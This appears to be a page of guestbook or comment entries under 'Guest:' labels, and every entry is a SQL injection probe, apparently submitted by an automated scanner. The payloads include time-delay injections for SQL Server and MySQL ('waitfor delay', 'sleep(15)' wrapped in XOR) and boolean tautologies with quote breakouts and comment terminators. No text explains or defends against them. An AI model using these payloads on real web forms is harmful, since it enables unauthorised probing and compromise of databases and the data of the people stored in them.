Guest:
1PGzHBT3O'); waitfor delay '0:0:15' -- 


Guest:
1PGzHBT3O'); waitfor delay '0:0:15' -- 


-1 OR 2+830-830-1=0+0+0+1 --

-1 OR 2+101-101-1=0+0+0+1

-1' OR 2+227-227-1=0+0+0+1 --

-1' OR 2+241-241-1=0+0+0+1 or 'HxPPMx2K'='

-1" OR 2+933-933-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
1PGzHBT3O'); waitfor delay '0:0:15' -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
1PGzHBT3O'); waitfor delay '0:0:15' -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z